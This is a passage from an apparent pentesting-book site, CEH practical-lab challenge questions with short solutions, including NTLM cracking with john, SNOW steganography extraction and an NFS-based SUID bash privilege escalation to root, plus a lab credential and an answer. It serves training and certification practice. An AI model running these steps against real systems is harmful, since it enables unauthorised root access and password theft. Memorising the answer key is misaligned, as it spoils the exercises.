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CYBERSECURITY BOOK
  • 👽CS && PEN-TESTING BOOK
    • 🔍Reconnaissance
      • 🈴Passive Recon
        • M365/Azure Tenant Recon
          • MSFTRecon
        • 🕵️OSINT
          • Data Breach and Leaks Resources
          • OSINT Tools and Resources
          • Shodan
          • Creepy
          • The US Army manual ATP 2-22.9
          • NATO OSINT manual
          • Twitter Geolocation
          • Geotagging: GeoSocial Footprint
          • Bitcoin Address Lookup
          • Google Docs OSINT
          • Monitoring Tools
          • TOR Onion Links
          • Phone Numbers
          • Mitaka - In-Browser Tool
          • Russian Target
          • FTP Servers
          • War Related
        • 🎟️ADINT
          • Surveillance
        • 🗺️GEOINT
          • Methodology
          • SunCalc - Geospatial OSINT using shadows
        • ☢️SIGINT
          • Methodology
          • Wifi
            • Kismet
        • ⛓️DNS Recon and Route Mapping
        • 👨‍💼Obtain User Information
        • 🕸️Web Recon
        • 🕷️Scraping Crypto Addresses
        • File Sharing Services
      • ☢️Active Recon
        • 🐹Stealth Scanning Strategies
        • 🏭Identify Network Infrastructure
        • 💻Host Enumeration
        • ⛷️Sparta
        • 🧩Fuzzing
          • ❄️Wfuzz
          • Fuzzing Applications
          • Linux Kernel Fuzzing
          • Fuzzing Chrome V8 Engine
      • ☦️Doxing
        • Doxing Anyone
        • Gmail Address
      • 🎥Surveillance
        • Location Tracking Techniques
    • 🔢Enumeration
      • 🔅Protocols and Ports
        • 21 - FTP
        • 22 - SSH
        • 23 - Telnet
        • 25, 465 - SMTP
        • 110, 143 - POP3, IMAP4
        • 1521 - Oracle DB Server
        • 3306 - Mysql
        • 2375 - Docker
        • 8080, 50000 - Jenkins
        • 80, 443 - HTTP, HTTPS
        • 3389 - RDP
        • 5900 - VNC
        • 445 - SMB
        • 161 UDP - SNMP
        • 11211 - Memcached
        • 2049 - NFS
      • 🐧Linux - POST
      • 🪟Windows - POST
      • 🕸️Web Apps
        • Directory Enumeration
        • Identify Virtual Websites
    • ☮️Public Exploits
      • Look for Public Exploits
      • Metasploit
    • 🕎Vulnerability Scanning
      • ⚛️Nuclei
      • ⛵Tsunami Security Scanner
      • Hunting and Exploiting Vulnerable Windows Drivers
    • 🕳️Tunneling & Exfiltration
      • SSH Tunneling
      • ICMP Exfiltration
      • DNS Exfiltration
      • DNS Tunneling
      • TCP/UDP Tunneling
      • CloudFlare Tunnel
      • SOCKS
      • Ngrok - Port Forwarding
      • CURL - Exfiltration
      • Rclone - Data Exfiltration
      • Data Bouncing - External Data Exfiltration
    • Backdoors
      • Asymmetric Backdoor
    • 🎣Pivoting (Post Exploitation)
      • Using Metasploit
      • SOCKS, SSH - Pivoting
      • Remote Port Forwarding
      • Tool - Chisel
      • Chisel - Double Pivoting
      • Bypassing Firewall with Forward Relays
      • Reverse Relays - Metasploit
      • Pivoting using Ligolo-Ng
    • 🎯Active Directory Pentesting
      • 🔑Crendentials
        • Group Policy Preferences
        • LLMNR Poisoning
        • LDAP (Post)
        • Brute Force
        • LAPS Toolkit
        • PFX File
      • 🐕‍🦺Kerberos Attacks
        • ASREProast
        • Kerberoast
        • Pass the Certificate
      • 🏁AD Post Exploitation
        • Active Directory Post Exploitation
      • ℹ️Introduction to Identities
      • 🔧Testing Active Directory
      • 🎓Advanced Penetration Testing
      • 🔧Automated Tools
        • ADCS Exploitation Tool
        • BadSuccessor – Full Active Directory Compromise
      • Hacking Active Directory Environment
        • 🕵️Enumeration
        • 🦸Exploitation
        • 🚪Privilege Escalation
      • Windows and Active Directory Attacks
        • Shared Local Administrator Password
        • NTLM/SMB Relay
    • 🐳Docker
      • Docker Container
      • Expose Docker Remotely
    • ☸️Kubernetes
      • Basic Commands
    • 🙅‍♂️Social Engineering
      • 🗺️Location Phishing
      • 🧘‍♂️0-Click Email Attack
      • 🐧Binary Linux Trojan
      • 📧Phishing Mail
      • 📁Malicious File
      • ♉Malicious USB Drive
      • 📩Spear-Phishing Methods (VIP)
      • 🧑‍💼Insider Attack
      • Wifi Phishing - Wifiphisher
      • 🔐MFA Bypass
      • Link Attacks
      • 📋Clipboard Hijacking (Post)
      • Copy-Paste Spoofing
    • 🗺️CEH Mindmaps
      • ℹ️Recon and Information Gathering
        • Lab 1: Perform Footprinting Through Search Engines
          • Task 1: Gather Information using Advanced Google Hacking Techniques
          • Task 2: Gather Information from Video Search Engines
          • Task 3: Gather Information from FTP Search Engines
          • Task 4: Gather Information from IoT Search Engines
        • Lab 2: Perform Footprinting Through Web Services
          • Task 1: Find the Company's Domains and Sub-domains using Netcraft
          • Task 2: Gather Personal Information using PeekYou Online People Search Service
          • Task 3: Gather an Email List using theHarvester
          • Task 4: Gather Information using Deep and Dark Web Searching
          • Task 5: Determine Target OS Through Passive Footprinting
        • Lab 3: Perform Footprinting Through Social Networking Sites
          • Task 1: Gather Employee's Information from LinkedIn using theHarvester
          • Task 2: Gather Personal Information from Various Social Networking Sites using Sherlock
          • Task3: Gather Information using Followerwonk
        • Lab 4: Perform Website Footprinting
          • Task 1: Gather Information About a Target Website using Ping Command Line Utility
          • Task 2: Gather Information About a Target Website using Photon
          • Task 3: Gather Information About a Target Website using Central Ops
          • Task 4: Extract a Company's Data using Web Data Extractor
          • Task 5: Mirror a Target Website using HTTrack Web Site Copier
          • Task 6: Gather Information About a Target Website using GRecon
          • Task 7: Gather a Wordlist from the Target Website using CeWL
        • Lab 5: Perform Email Footprinting
          • Task 1: Gather Information about a Target by Tracing Emails using eMailTrackerPro
        • Lab 6: Perform Whois Footprinting
          • Task 1: Perform Whois Lookup using DomainTools
        • Lab 7: Perform DNS Footprinting
          • Task 1: Gather DNS Information using nslookup Command Line Utility and Online
          • Task 2: Perform Reverse DNS Lookup using Reverse IP Domain Check and DNSRecon
          • Task 3: Gather Information of Subdomain and DNS Records using SecurityTrails
        • Lab 8: Perform Network Footprinting
          • Task 1: Locate Network Range
          • Task 2: Perform Network Tracerouting in Windows and Linux Machines
          • Task 3: Perform Advanced Network Route Tracing Using Path Analyzer Pro
        • Lab 9: Perform Footprinting using Various Footprinting Tools
          • Task 1: Footprinting a Target using Recon-ng
          • Task 2: Footprinting a Target using Maltego
          • Task 3: Footprinting a Target using OSRFramework
          • Task 4: Footprinting a Target using FOCA
          • Task 5: Footprinting a Target using BillCipher
          • Task 6: Footprint a Target using OSNIT Framework
      • 🔄Network Scanning
        • Tasks
      • 🔢Enumeration
        • Tasks
      • 👨‍🔧Vulnerability Analysis
        • Tasks
      • 🦸System Hacking
        • Tasks
      • *️Malware Analysis
        • Tasks
      • ❄️Sniffing
        • Tasks
      • 🧑‍🤝‍🧑Social Engineering
        • Tasks
      • 🚫Denial of Service
        • Tasks
      • 🛩️Session Hijacking
        • Tasks
      • 🆔Evading IDS, Firewalls, and Honeypots
        • Tasks
      • 🖥️Web Server Hacking
        • Tasks
      • 🕸️Web Application Hacking
        • Tasks
      • 💉SQL Injection
        • Tasks
      • 👁️‍🗨️Wireless Network Hacking
        • Tasks
      • 📱Mobile Hacking
        • Tasks
      • 👨‍🔬IoT and OT Hacking
        • Tasks
      • ☁️Cloud Computing
        • Tasks
      • 🔏Cryptography
        • Tasks
    • 🗾CND Mindmaps
    • 👿Vulnerability Research
      • 👨‍💻Code Review
    • 📶Network Security
      • 🦝Installing and Configuring Network Based IDS In Ubuntu: Suricata
      • 🏛️OpenSSL
      • 👩‍🚒Active Directory
        • LAPS
    • 🛂Port Forwarding
      • 🐧Linux
      • 🪟Windows
      • 🔄Router
    • 👾API Testing
      • Reverse Engineering
        • Reverse Engineer an API using MITMWEB and POSTMAN
      • API Hacking Basics
        • Practicals
      • 🕵️‍♂️API Recon
      • 📄API Documentation
        • ⚗️Lab: Exploiting an API endpoint using documentation
      • 👨‍🎤Identifying and Interacting with API Endpoint
        • ⚗️Lab: Finding and exploiting an unused API endpoint
      • 🦮Finding Hidden Parameters
      • 🍷Mass assignment vulnerabilities
        • ⚗️Lab: Exploiting a mass assignment vulnerability
      • ✅Preventing vulnerabilities in APIs
      • 😷Server-side parameter pollution
      • 🕵️‍♂️Testing for server-side parameter pollution in the query string
        • ⚗️Lab: Exploiting server-side parameter pollution in a query string
      • 🛣️Testing for server-side parameter pollution in REST paths
      • 🚧Testing for server-side parameter pollution in structured data formats
        • ⚗️Lab: Exploiting server-side parameter pollution in a REST URL
      • 👨‍🚀Testing with automated tools
      • 🚨Preventing server-side parameter pollution
    • 🕸️Web App Pentesting Notes
      • 🧰Web App Pentesting Tools
        • Fuzzing: ffuf Tool
        • Nosql Injection: NoSqlMap
        • Kiterunner
        • Burp Suite
      • ❌XSS and XSRF Together
      • 💉NoSQL Injection
        • NoSQL Databases
        • NoSQL syntax injection
        • NoSQL operator injection
        • Exploit Syntax Injection to Extract Data
        • Exploiting NoSQL operator injection to extract data
        • Timing based injection
        • Preventing NoSQL injection
      • 🧙Cross Site Request Forgery
      • 📼Hidden Parameter Discovery
      • 📌SSTI : Server Side Template Injection
        • Lab: Basic server-side template injection
        • Lab: Basic server-side template injection (code context)
        • Lab: Server-side template injection using documentation
        • Lab: Server-side template injection in an unknown language with a documented exploit
        • Lab: Server-side template injection with information disclosure via user-supplied objects
      • 💎JWT Attack
        • Exploiting flawed JWT signature verification
        • Brute-forcing secret keys
        • JWT header parameter injections
        • Prevent JWT attacks
      • 📊GraphQL API Vulnerabilities
        • Exploiting Unsanitized Arguments
        • Discovering Schema Information
          • Lab: Accessing private GraphQL posts
          • Lab: Accidental exposure of private GraphQL fields
        • Bypassing GraphQL introspection defenses
          • Lab: Finding a hidden GraphQL endpoint
        • Bypassing rate limiting using aliases
          • Lab: Bypassing GraphQL brute force protections
        • GraphQL CSRF
          • Lab: Performing CSRF exploits over GraphQL
      • 🔏Authentication Vulnerabilities
      • 🏇Race Conditions
        • Limit overrun race conditions
        • Multi Endpoint Race Conditions
        • Single Endpoint Race Conditions
        • Time Sensitive Attacks
      • 🧠LLM Attacks
        • Exploiting LLM APIs, functions, and plugins
        • Indirect Prompt Injection
      • ☸️Host Header Attacks
        • Testing for Vulnerability
        • Password Reset Poisoning
        • Web Cache Poisoning
        • Accessing Restricted Functionality
    • 🛩️Wireless Hacking
      • Zigbee Attacks
      • Wifi Attacks
        • Hack WPA2 Networks
        • Automated: Wifite
      • Bluetooth Attacks
        • BlueDucky Script
      • RFID Attacks
    • 🏁CEH Engage Walkthroughs
      • 1️⃣CEH Engage Part 1
      • 2️⃣CEH Engage Part 2
      • 3️⃣CEH Engage Part 3
      • 4️⃣CEH Engage Part 4
    • 🎃Evasion
      • OWASP-ZSC
      • AMSI Bypass
      • Windows Evasion
      • Windows Defender Application Control (WDAC): Killing EDR
      • InvisibilityCloak - C# Obfuscation Toolkit
    • 🚪Post exploitation
      • 🛬Living Off The Land Tools
      • 🥝Mimikatz
      • 🐧Privilege escalation: Linux
      • 🪟Privilege escalation: Windows
      • 👾PAC Tempering
      • Amnesiac - EDR Bypass
      • GraphRunner: A Post-Exploitation Toolset for Microsoft 365
    • 🔓Hashing & Password Cracking
      • Hashing
      • Custom Wordlist
      • Hydra
      • John
      • Windows - Local Password Cracking
      • Password Cracking using Rules
    • 📒Hacking Cheat Sheets
      • 🔍Recon Cheatsheet
      • 🔢Enumeration Cheatsheet
      • 🐚Shells and Reverse Shells Cheat Sheet
      • 🐮Meterpreter Cheat Sheet
      • ☄️Powershell Commands Cheat Sheet
      • 💉Command Injection Cheat Sheet
      • 🪡SQL Injection Cheat Sheet
      • 🐮Metasploit Cheat Sheet
      • 🧰Ethical Hacking Tools
      • 🐧Linux Hacking Basics
      • 🔺MSFVenom
    • 🏇CEH Practical
      • CEH Practical Tools
      • 🔍Network Scanning
      • 🐕‍🦺Service Enumeration
      • 🖊️Stegnography
      • 🔓Cryptography
      • 🕸️Web and Android Hacking
      • 🚪Privilege Escalation
      • 🦄Malware Threats
    • ☁️Cloud Pentesting
      • ✏️AWS Pentesting
        • 🌆AWS Environments
          • Identity and Access Management
          • Identity Based Policies
          • Resource Based Policy
          • Untitled
        • 🧰Tools
          • AWS CLI
          • Pacu
          • Prowler
          • Cloudsplaining
        • Attacks & Methodology
          • 👨‍🔬Exploiting AWS Misconfigurations
          • AWS Pentest Methodology
        • Initial Access
          • Public Access
          • Leaked Secrets
          • Phishing
          • Resource Exploitation
        • Post-Compromise Recon
          • AWS Command Line
          • Resource Enumeration
          • IAM Policy Enumeration
          • Identifying Public Resources
        • S3 Buckets
          • S3 Bucket Misconfiguration
      • 🅰️Azure Pentesting
        • Azure Attack Matrix
        • Stealing Access Tokens
        • Lateral Movement - Skeleton Key Attack
    • 🪟Windows Security
      • 🕵️‍♂️Recon
        • Host Discovery
        • SMB
        • MSSQL
        • IIS
      • 🦹Exploitation
        • CMD Commands
      • 🚪Post Exploitation
        • Dump Password Hashes
        • Mimikatz
      • 🦕Persistence (Post)
        • User Accounts, Hash Cracking, RID Hijacking
        • Backdoors
        • Services
        • Scheduled Tasks
        • Windows Startup
    • 🐧Linux Security
      • 🏋️‍♂️Privilege Escalation
        • 1️⃣1⃣ 1⃣ Exploiting Setuid Programs
        • 2️⃣2⃣ 2⃣ Cron Jobs
        • 3️⃣3⃣ 3⃣ Permissions
        • 4️⃣4⃣ 4⃣ Logs
        • 5️⃣5⃣ 5⃣ Restricted Shell
      • Persistence
        • D3m0n1z3dShell
    • 🍎MacOS Security
      • Endpoint Security
        • eslogger
      • Gaining Access
        • Setup and weaponize Mythic C2 using DarwinOps to target MacOS
    • 📱Android Security
      • Android Pentesting Notes
      • Android Application Pentesting Part 1
        • Static Analysis
        • Dynamic Analysis
      • Android Application Pentesting Part 2
        • Aspects of Android Security
        • Static Application Testing
        • Dynamic Application Testing - Part 1
        • Platform Interaction Testing
        • Dynamic Application Testing - Part 2
        • OWASP Top 10
      • Mobile Application Pentesting Part 3
        • Mobile Security Controls
        • Dynamic Analysis
        • Static Code Analysis
        • Insecure Data Storage
        • Runtime Security
    • 🍎iOS Security
      • iOS Application Analysis
    • 🧾Scripting
      • 💎Ruby
        • Basics
        • Object Types
      • 🐍Python
        • Web Scrapping Scripts
      • 🐧Bash
      • 🐪Perl
      • 🐘PHP
    • 🐉Reverse Engineering & Malware Analysis
      • RE Preparation
        • RE Process
        • Malware Analysis Tools
        • Malware Components: Windows
      • Shellcode Analysis
        • Automated Extraction
      • 1️⃣Disassembly and Disassembler
      • 2️⃣Binary Analysis
      • 🐧Linux ELF Format
      • ♎Yara Guide
      • 📱Android Reverse Engineering
        • Spyware Reverse Engineering
      • 📲Mobile Applications
        • Flutter Mobile Apps
    • 🌠Protocol Exploitation
      • ARP
      • DNS
      • VoIP
    • 🛜Network Pentesting
      • SNMP - Authentification
    • 👮Digital Forensics & Incident Response
      • 📩Email Forensics
        • Callback Phishing
        • Business Email Compromise Investigations
          • Investigating using Hawk
          • Microsoft Defender Explorer
      • 💸Ransomware Forensics
        • Decrypting Intermittent Encryption
      • 💱Blockchain Forensics
        • 🍾Frontrunning/Sandwich Bot Finder
      • 📝Memory Forensics
        • Process
        • Memory Analysis - Volatility3
      • ☄️Network Forensics
        • Pcap Analysis
      • 🪟Windows Forensics
        • NTDS Secret Extraction
        • Detecting Hidden Processes
        • Analyzing Prefetch Files
        • Windows MFT Parsing
        • USN Journal Forensics
      • 📼Media Forensics
        • Rubber Ducky Analysis
        • RDP Bitmap Cache
        • USB Event Tracking
      • 🧙Forensic Imaging
        • Image Analysis: Autopsy
      • 🪅Data Collection
        • 🪟Windows
        • 🐧Unix/Linux
      • 🔏Privacy Research
        • Deanonymization - TOR Hidden Services
        • Deanonymization - Flash Code
        • Dark Web - OSINT
        • Dark Web Investigation
      • 🕸️Web Investigations
        • Investigating Favicon Hashes
      • 🏴‍☠️Threat Detection
        • Reading Clipboard Data via Powershell
        • Detection of Windows Defender Tampering via Powershell
        • Detection of Remote Template Injection
    • 🦋Cisco Attacks
      • Decrypting Type 5 Cisco Passwords
    • 🐼CVE's
      • libssh 0.8.1 - CVE 2018-10933
      • proftpd-1.3.3c-backdoor
      • zerologon - CVE-2020-1472
      • Apache Ghostcat - CVE 2020-1938
      • Spring Authorization Bypass - CVE 2024-38821
      • Apache Solr - CVE-2024-45216
      • Bypassing Mark of the Web with 7zip CVE-2025-0411
      • CVE-2025-24054, NTLM Exploit in the Wild
    • 🐛OWASP TOP 10
      • LLM
        • OWASP Top 10 for LLM Applications
      • Machine Learning
        • OWASP Machine Learning Security Top Ten
      • 🕸️WEB
        • 1️⃣A01:2021 – Broken Access Control
        • 2️⃣A02:2021 – Cryptographic Failures
        • 3️⃣A03:2021 – Injection
        • 4️⃣A04:2021 – Insecure Design
        • 5️⃣A05:2021 – Security Misconfiguration
        • 6️⃣A06:2021 – Vulnerable and Outdated Components
        • 7️⃣A07:2021 – Identification and Authentication Failures
        • 8️⃣A08:2021 – Software and Data Integrity Failures
        • 9️⃣A09:2021 – Security Logging and Monitoring Failures
        • 🔟A10:2021 – Server-Side Request Forgery (SSRF)
      • 🦄API
      • 🌆IoT
      • 📱MOBILE
    • 🛼Web 3 Vulnerabilities
      • Fuzzing Ethereum Smart Contract
      • Static Analysis using Slither
      • Solidity Audit using Mythril
      • 🎆Reentrancy Vulnerabilities
      • 🥪Sandwich Attacks
      • 🌇Integer Attacks
      • 🚂Authorization Issues
      • 🌉Bad Randomness
    • 🛩️Web 3 Smart Contract
      • ⛎Blockchain Hacking (Python)
        • 🌆Smart Contract Template
        • 🎆Interact with ERC20 Tokens
        • 📲Interact with Wallets
        • 🍷Reverse Engineering Bytecode
        • ✒️Sign Transactions
        • 🪢Smart Contract Interactions
        • 🧜‍♀️Subscribing to Events
        • 🟤Brownie Interactions
        • 👾Exploit PoC
    • 🌃Smart Contract Audits
      • 🐸Thunder Loan Audit
        • 1️⃣Initial Review
    • 👩‍💼GRC Frameworks
      • NIST 800-39
      • SOC 2
      • HIPAA
      • PCI-DSS
      • NIST CSF
      • FedRAMP
      • CSA STAR
      • SOX
      • GDPR
      • ISO 27001
  • 🦹REAL WORLD && CTF
    • ⚛️Scripts and Systems
      • R: Code Execution
      • Python2 Input Vulnerability
  • 🦸MISCELLANEOUS
    • Decrypt SSL Traffic
    • 🏦OpenSSL Commands
    • 🔒GPG
    • 🔐SSH Commands
    • OWASP BWAPP Setup
    • Commando VM Setup
    • Living Off The Land Applications
    • 🐧Develop Your Own Linux Distro
    • 🐱GitHub Commands
      • 📔Cheatsheet
  • 🧛‍♂️ADVANCED PERSISTENT THREATS - RESEARCH
    • Reconnaissance
    • Resource Development
    • Initial Compromise
    • Execution
    • Establish persistence
    • Escalate privileges
    • Defense Evasion
    • Credential Access
    • Discovery
    • Lateral movement
    • Collection
    • Command and Control
    • Data exfiltration
    • Impact
  • 👾THREAT HUNTING - RESEARCH
    • MacOS
    • Azure Sentinel
    • Network Data
      • Network Data Sources
      • Network Threat Hunting Too
      • Hunting the Undetected
      • Protocols
      • Network Threat Hunts
    • Active Directory
      • Introduction
      • Threat Hunting
      • Threat Hunting in Active Directory
    • Data Collection
      • Internal Data
      • External Data
        • Private Data Sources
        • Community Data Sources
        • Public Data Sources
      • OSINT
    • Data Management and Processing
      • Data Processing
      • Common CTI Standards
      • Storage and Integration
      • Threat Intelligence Platforms
    • Analysis
      • Introduction
      • Analysis of Competing Hypothesis
      • Cyber Kill Chain and Diamond Model
      • Cyber Kill Chain and Courses of Action
    • Campaign Analysis
      • Introduction
      • Heatmap Analysis
      • Visual Analysis
      • MITRE Threat Group Tracker
      • Threat Intelligence Naming Conventions
    • Attribution
      • Introduction
      • Cognitive Biases
      • Logical Fallacies
      • Manage Biases
      • Nation-State Attribution
    • Dissemination and Sharing
      • Introduction
      • Tactical Intelligence
      • Operational Intelligence
      • Strategic Intelligence
  • 🦅CISA - INCIDENT RESPONSE PLAYBOOK
    • Overview
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You are assigned a task to crack the NTLM password hashes captured by the internal security team. The password hash has been stored in the Documents folder of the Parrot Security console machine. What is the password of user James?

john --format=NT hashes.txt

You are assigned a task to crack the NTLM password hashes captured by the internal security team. The password hash has been stored in the Documents folder of the Parrot Security console machine. What is the password of user Jones?

john --format=NT hashes.txt

You have got user-level access to the machine with IP 172.16.0.11. Your task is to escalate the privileges to that of the root user on the machine and read the content in the rootflag.txt file. (Note: all the flag files are located at the root, Desktop, Documents, or Downloads folder for the respective users/machines). Note: use LinuxPass when asked for machine password.

nmap -sV <IP addr>
sudo apt-get install nfs-common
showmount -e <IP addr>

mkdir /tmp/nfs

sudo mount -t nfs <IP addr>:/home /tmp/nfs

cd /tmp/nfs

sudo cp /bin/bash

sudo chmod +s bash

ls -la bash

ssh -l ubuntu <IP addr>

cd /home

./bash -p

id

An employee in your organization is suspected of sending important information to an accomplice outside the organization. The incident response team has intercepted some files from the employee's system that they believe have hidden information. You are asked to investigate a file named Confidential.txt and extract hidden information. Find out the information hidden in the file. Note: The Confidential.txt file is located at C:\Users\Admin\Documents in EH Workstation – 2 machine.

SNOW.EXE -C Confidential.txt

The incident response team has intercepted an image file from a communication that is supposed to have just text. You are asked to investigate the file and check if it contains any hidden information. Find out the information hidden in the file. Note: The vacation.bmp file is located at C:\Users\Admin\Documents in EH Workstation – 2 machine.

You are a malware analyst working for CEHORG. During your assessment within your organisation's network, you found a malware face.exe. The malware is extracted and placed at C:\Users\Admin\Documents in the EH Workstation – 2 machine. Analyze the malware and find out the File pos for KERNEL32.dll text. (Hint: exclude zeros.)

Analyze an ELF executable (Sample-ELF) file placed at C:\Users\Admin\Documents in the EH Workstation – 2 machines to determine the CPU Architecture it was built for.

You have been given a task to audit the passwords of a server present in CEHORG network. Find out the password of the user Adam and submit it. (Note: Use Administrator/ CSCPa$$ when asked for credentials).

Use Yersinia on the “EH Workstation – 1” (Parrot Security) machine to perform the DHCP starvation attack. Analyze the network traffic generated during the attack and find the Transaction ID of the DHCP Discover packets.

CEHORG suspects a possible sniffing attack on a machine in its network. The organization has retained the network traffic data for the session and stored it in the Documents folder in EH Workstation – 2 (Windows 11) machine as sniffsession.pcap. You have been assigned a task to analyze and find out the protocol used for sniffing on its network.

As an ethical hacker, you are tasked to analyze the traffic capture file webtraffic.pcapng. Find out the packet's id that uses ICMP protocol to communicate. Note: The webtraffic.pcapng file is located at C:\Users\Administrator\Documents\ in the Documents folder on EH Workstation – 2 (Windows 11) machine.

An attacker has created a custom UDP packet and sent it to one of the machines in the CEHORG. You have been given a task to study the ""CustomUDP.pcapng"" file and find the data size of the UDP packet (in bytes). Note: The CustomUDP.pcapng file is located at C:\Users\Administrator\Documents\ in the Documents folder on EH Workstation – 2 (Windows 11) machine.

A denial-of-service attack has been launched on a target machine in the CEHORG network. A network session file "DoS.pcapng" has been captured and stored in the Documents folder of the EH Workstation - 2 machine. Find the IP address of the attacker's machine.

A machine in CEHORG network has been installed with a spyware by an Ex-employee. You are given a task to connect to the attacked machine to find out the hidden flag in the documents folder.

A disgruntled employee in CEHORG has used the Covert_TCP utility to share a secret message with another user in the CEHORG network. Covert_TCP manipulates the TCP/IP header of the data packets to send a file one byte at a time from any host to a destination. It can be used to hide the data inside IP header fields. The employee used the IP ID field to hide the message. The network capture file “Capture.pcapng” has been retained in the “C:\Users\Administrator\Documents” directory of the “EH Workstation – 2” machine. Analyze the session to get the message that was transmitted.

CEHORG has assigned you with analysing the snapshot of the operating system registry and perform the further steps as part of dynamic analysis and find out the whether the driver packages registry is changed. Give your response as Yes/No.

-> Yes

Perform windows service monitoring and find out the service type associated with display name "afunix".

CEHORG has found that one of its web application movies.cehorg.com running on its network is leaking credentials in plain text. You have been assigned a task of analysing the movies.pcap file and find out the leaked credentials. Note: The movies.pcapng file is located at C:\Users\Administrator\Documents\ in the Documents folder on EH Workstation – 2 (Windows 11) machine. Make a note of the credentials obtained in this flag, it will be used in the Part 4 of CEH Skill Check.

CEHORG hosts a datacenter for its bussiness clients. While analyzing the network traffic it was observed that there was a huge surge of incoming traffic from multiple sources. You are given a task to analyze and study the DDoS.pcap file. The captured network session (DDoS.pcapng) is stored in the Documents folder of the EH Workstation -2 machine. Determine the number of machines that were used to initiate the attack.

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